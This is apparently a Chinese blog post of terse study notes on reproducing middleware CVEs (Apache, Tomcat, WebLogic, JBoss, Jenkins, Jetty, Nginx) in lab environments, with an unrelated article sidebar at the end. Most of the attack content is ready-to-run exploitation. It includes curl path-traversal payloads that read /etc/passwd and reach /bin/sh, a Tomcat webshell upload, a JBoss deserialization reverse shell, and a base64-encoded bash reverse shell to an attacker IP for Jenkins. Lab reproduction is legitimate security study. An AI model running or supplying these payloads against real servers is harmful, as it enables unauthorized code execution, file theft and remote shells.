服务攻防-中间件安全(漏洞复现)

一.中间件-IIS-短文件&解析&蓝屏

IIS现在用的也少了,漏洞也基本没啥用

1、短文件:信息收集

2、文件解析:还有点用

3、HTTP.SYS:蓝屏崩溃 

 没有和权限挂钩

4、CVE-2017-7269 条件过老

windows 2003上面的漏洞

二.中间件-Nginx-文件解析&命令执行等

后缀解析 文件名解析

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

Bp抓包修改文件信息,添加/.php解析php代码

CVE-2013-4547(文件名逻辑漏洞)

CVE-2013-4547漏洞是由于非法字符空格和截止符导致Nginx在解析URL时的有限状态机混乱,导致攻击者可以通过一个非编码空格绕过后缀名限制。假设服务器中存在文件123. jpg,则可以通过改包访问让服务器认为访问的为PHP文件

两处将aa 61 61改为20 00

成功解析php文件

cve_2017_7529 敏感信息泄露

意义不大

CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。

二、影响版本

  • 41773——版本等于2.4.49
  • 42013——版本等于2.4.49/50

curl -v --path-as-is http://123.58.224.8:8005/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

curl -v --path-as-is http://123.58.224.8:8005/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

cve-2017-9798

        信息泄露  价值不高。

cve-2018-11759

        价值不高。

cve-2021-37580

        shenyu 插件问题。

Tomcat

1.弱口令

进入页面,点击manager或直接url输入进去登录页面

哥斯拉生成jsp文件

上传木马拿到webshell

2.cve-2017-12615

Poc直接梭哈

脚本上传jsp实现cve

3.cve-2020-1938

python2 CVE-2020-1938.py 123.58.224.8 -p 57312 -f /WEB-INF/web.xml

poc直接梭哈查看web-inf/目录下的文件

python CVE-2020-1938.py 123.58.224.8 -p 57312 -f /WEB-INF/web.xml

123.58.224.8:57312

CVE-2020-11996 拒绝服务漏洞 (意义不大)

        简介:Tomcat http/2 拒绝服务攻击,通过恶意构造HTTP/2请求序列会在几秒钟内大量占用CPU使用率,如果在并发HTTP/2连接上发出足够数量的此类请求,服务器可能会变得无响应。

        影响版本:

        Apache Tomcat 10.0.0-M1~10.0.0-M5 / 9.0.0.M1~9.0.35 / 8.5.0~8.5.55

该漏洞与获取权限无关,单纯为破坏性漏洞,毕竟学习漏洞不是为了搞破坏,研究意义不大。

CVE-2020-9484 反序列化漏洞 (条件苛刻)

简介:Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

影响版本:

Apache Tomcat 10.x < 10.0.0-M5 / 9.x < 9.0.35 / 8.x < 8.5.55 / 7.x < 7.0.104

此漏洞利用条件非常苛刻,研究意义不大,成功利用此漏洞需同时满足以下4个条件:

    1.攻击者能够控制服务器上文件的内容和文件名称

    2.服务器PersistenceManager配置中使用了FileStore

    3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

    4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

http://192.168.83.136:8080/invoker/readonly

查看返回状态码500存在漏洞

Weblogic

Cve-2018

一、漏洞简介

weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

二、漏洞影响

影响版本

10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

CVE-2018-2894

CVE-2020-14882

0x01 漏洞描述

近日,Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限

0x02  漏洞影响

Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0

CVE-2018-2628

扫到了cve-2016-3510什么鬼

Jboss

CVE-2017-7504

1.javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2.java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.83.159:2222
(IP是攻击机ip,port是要监听的端口)

curl http://192.168.83.136:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-12149

http://192.168.83.136:8080/invoker/readonly

返回500

中间件-Jenkins-CVE

CVE-2017-1000353  远程代码执行漏洞

192.168.83.159:2222

//生成序列化字符串poc.ser,这里反弹shell命令需要用base编码

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgzLjE1OS8yMjIyIDA+JjE=}|{base64,-d}|{bash,-i}"

//给靶机发送数据包,执行命令

python3 exploit.py http://192.168.83.136:8080 poc.ser

CVE-2018-1000861

python2 exp.py http://192.168.83.136:8080/ 'touch /tmp/cve-2018-1000861-GitNBExp'

sudo docker exec -it d63ffa245393    /bin/bash

jetty

curl -v 'http://192.168.83.136:8080/%2e/WEB-INF/web.xml'

查看一些铭感信息

CVE-2021-28169

也是c查看web-inf

http://192.168.83.136:8080/static?/%2557EB-INF/web.xml

CVE-2021-34429

GET /%u002e/WEB-INF/web.xml HTTP/1.1

Host: 192.168.83.136:8080

Docker

-是否存在.dockerenv文件

ls -alh /.dockerenv

-查询系统进程的cgroup信息:

cat /proc/1/cgroup

真实机执行命令

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

关闭环境

sudo docker-compose down

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-22 08:18:02       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-22 08:18:02       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-22 08:18:02       45 阅读
  4. Python语言-面向对象

    2024-07-22 08:18:02       55 阅读

热门阅读

  1. Rust编程-模式匹配

    2024-07-22 08:18:02       19 阅读
  2. 软件测试面试

    2024-07-22 08:18:02       16 阅读
  3. Vbox虚拟机+Ubuntu motest测试drm

    2024-07-22 08:18:02       21 阅读
  4. 力扣1882.使用服务器处理任务

    2024-07-22 08:18:02       18 阅读
  5. redis常用架构以及优缺点

    2024-07-22 08:18:02       18 阅读
  6. 保研面试高频问题——day1

    2024-07-22 08:18:02       17 阅读
  7. Linux内存管理--系列文章八——内存管理架构

    2024-07-22 08:18:02       15 阅读
  8. R和RStudio的下载和安装(Windows 和 Mac)

    2024-07-22 08:18:02       14 阅读